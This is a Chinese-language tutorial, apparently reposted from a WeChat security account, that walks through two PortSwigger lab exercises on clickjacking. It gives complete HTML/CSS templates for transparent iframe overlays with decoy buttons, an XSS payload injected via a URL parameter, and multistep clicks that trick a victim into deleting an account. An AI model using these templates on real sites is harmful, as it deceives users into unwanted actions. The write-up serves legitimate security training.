在本节中,将解释什么是点击劫持,描述点击劫持攻击的常见示例,并讨论如何防范这些攻击。
将点击劫持与DOM XSS攻击相结合
到目前为止,我们已经将点击劫持视为一种独立的攻击。从历史上看,点击劫持已被用于执行诸如在Facebook页面上增加“赞”之类的行为。
然后,当点击劫持被用作另一种攻击(如DOM XSS攻击)的载体时,它的真正效力就会显现出来。
假设攻击者首先确定了XSS漏洞利用,则这种组合攻击的实施相对简单。然后将XSS漏洞与iframe目标URL结合起来,以便用户单击按钮或链接,从而执行DOM XSS攻击。
场景试验-利用点击劫持漏洞触发基于DOM的XSS:
https://portswigger.net/web-security/clickjacking/lab-exploiting-to-trigger-dom-based-xss
场景说明:
这个试验场景包含一个由点击触发的XSS漏洞。
试验目的:
要完成这个试验,需要构造一个点击劫持攻击,欺骗用户点击"Click me"按钮来调用print()函数。
攻击过程:
①打开页面后,点击右上侧"Submit feedback",进入提交页面
②打开"exploit server",将下面代码复制到Body位置
<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
} div {
position:absolute;
top:$top_value;
left:$side_value;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="$url?name=<img src=1 onerror=print()>&[email protected]&subject=test&message=test#feedbackResult"></iframe>
③几处需要替换的地方:
●$url替换成试验场景"Submit feedback"页面的URL
●$height_value和$width_value建议设置成700px和500px
●$top_value和$side_value建议先设置成610px和80px,后续可以再进行调整
●$opacity在调试时可以设置为0.1,在攻击时设置为0.0001
④点击"Store"后再点击"View exploit",看下"Click me"的位置是否可"Submit Feedback"重叠,如果不重叠的话适当调整$top_value和$side_value的值,最终使两者重叠在一起
⑤修改下$opacity的值为0.0001,保存后点击"Deliver exploit to vicitim"即可完成试验。
多步点击劫持
攻击者对目标网站的输入进行操作可能需要执行多项操作。
例如,攻击者可能想要诱骗用户从零售网站购买商品,因此需要在下订单之前将商品添加到购物篮中。攻击者可以使用多个分区或iframe来实施这些操作。从攻击者的角度来看,此类攻击需要相当精确和谨慎,才能有效且隐蔽。
场景试验-多步点击劫持:
https://portswigger.net/web-security/clickjacking/lab-multistep
场景说明:
这个试验场景又一些受CSRF令牌保护的账户功能,还有一个确认对话框来防止点击劫持。
试验目的:
要完成这个试验,需要构建一个攻击,通过点击"Click me first"和"Click me next"诱饵动作来欺骗用户点击删除账户按钮和确认对话框。
场景提供了可供使用的账号wiener:peter。
攻击过程:
①用提供的账号进行登录,可以看到里面有"Delete account"的按钮
②打开"exploit server",将下面代码复制到Body位置
<style>
iframe {
position:relative;
width:$width_value;
height:$height_value;
opacity:$opacity;
z-index:2;
}
.firstClick, .secondClick {
position:absolute;
top:$top_value1;
left:$side_value1;
z-index: 1; }
.secondClick {
top:$top_value2;
left:$side_value2;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="$url"></iframe>
③几处需要替换的地方:
●$url替换成试验网页用户登录后URL
●$height_value和$width_value建议设置成700px和500px
●$top_value1和$side_value1建议先设置成330px和50px,后续可以再进行调整让"Click me first"与"Delete account"按钮重叠
●$top_value2和$side_value2建议先设置成285px和225px,后续可以再进行调整让"Click me next"与"Yes"按钮重叠
●$opacity在调试时可以设置为0.1,在攻击时设置为0.0001
④点击"Store"后再点击"View exploit",看下"Click me first"的位置是否和"Delete account"重叠,如果不重叠的话适当调整$top_value1和$side_value1的值,最终使两者重叠在一起
⑤随后点击"Click me first",看下"Click me next"的位置是否和"Yes"按钮重叠,如果不重叠的话适当调整$top_value2和$side_value2的值,最终使两者重叠在一起
⑥修改下$opacity的值为0.0001,保存后点击"Deliver exploit to vicitim"即可完成试验。
试验小结:
点击劫持的主要应用方式是通过钓鱼让受害者访问到恶意网站,随后再通过iframe页面框的模式来覆盖到真实页面上让受害者进行点击。因此除了在服务器端设置保护机制外,在企业内部进行防钓鱼安全培训也是非常重要的。
SQL注入攻击-检索隐藏的数据
HTTP Host头漏洞攻击-概念梳理
原文始发于微信公众号(H君网安白话):点击劫持攻击-攻击示例(下)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论